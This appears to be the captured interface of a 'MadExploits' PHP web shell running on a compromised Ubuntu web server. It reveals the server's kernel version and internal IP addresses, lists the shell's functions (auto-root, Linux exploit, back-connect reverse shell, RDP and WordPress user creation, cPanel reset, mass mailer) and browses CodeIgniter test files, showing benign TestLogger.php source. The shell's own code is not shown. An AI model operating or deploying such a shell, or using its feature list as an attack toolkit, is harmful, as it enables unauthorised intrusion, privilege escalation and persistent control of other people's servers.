Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cai /
system /
Test /
[ HOME SHELL ]
Name
Size
Permission
Action
Constraints
[ DIR ]
drwxr-x--x
Filters
[ DIR ]
drwxr-x--x
Interfaces
[ DIR ]
drwxr-x--x
Mock
[ DIR ]
drwxr-x--x
CIDatabaseTestCase.php
460
B
-rwxr-x--x
CIUnitTestCase.php
13.16
KB
-rwxr-x--x
ControllerResponse.php
1.86
KB
-rwxr-x--x
ControllerTestTrait.php
6.86
KB
-rwxr-x--x
ControllerTester.php
6.62
KB
-rwxr-x--x
DOMParser.php
7.31
KB
-rwxr-x--x
DatabaseTestTrait.php
8.26
KB
-rwxr-x--x
Fabricator.php
14.18
KB
-rwxr-x--x
FeatureResponse.php
528
B
-rwxr-x--x
FeatureTestCase.php
10.07
KB
-rwxr-x--x
FeatureTestTrait.php
10.08
KB
-rwxr-x--x
FilterTestTrait.php
7.83
KB
-rwxr-x--x
ReflectionHelper.php
2.47
KB
-rwxr-x--x
TestLogger.php
2.02
KB
-rwxr-x--x
TestResponse.php
13.51
KB
-rwxr-x--x
bootstrap.php
4.26
KB
-rwxr-x--x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TestLogger.php
<?php /** * This file is part of CodeIgniter 4 framework. * * (c) CodeIgniter Foundation <admin@codeigniter.com> * * For the full copyright and license information, please view * the LICENSE file that was distributed with this source code. */ namespace CodeIgniter\Test; use CodeIgniter\Log\Logger; class TestLogger extends Logger { protected static $op_logs = []; /** * The log method is overridden so that we can store log history during * the tests to allow us to check ->assertLogged() methods. * * @param string $level * @param string $message */ public function log($level, $message, array $context = []): bool { // While this requires duplicate work, we want to ensure // we have the final message to test against. $logMessage = $this->interpolate($message, $context); // Determine the file and line by finding the first // backtrace that is not part of our logging system. $trace = debug_backtrace(); $file = null; foreach ($trace as $row) { if (! in_array($row['function'], ['log', 'log_message'], true)) { $file = basename($row['file'] ?? ''); break; } } self::$op_logs[] = [ 'level' => $level, 'message' => $logMessage, 'file' => $file, ]; // Let the parent do it's thing. return parent::log($level, $message, $context); } /** * Used by CIUnitTestCase class to provide ->assertLogged() methods. * * @param string $message * * @return bool */ public static function didLog(string $level, $message) { foreach (self::$op_logs as $log) { if (strtolower($log['level']) === strtolower($level) && $message === $log['message']) { return true; } } return false; } // Expose cleanFileNames() public function cleanup($file) { return $this->cleanFileNames($file); } }
Close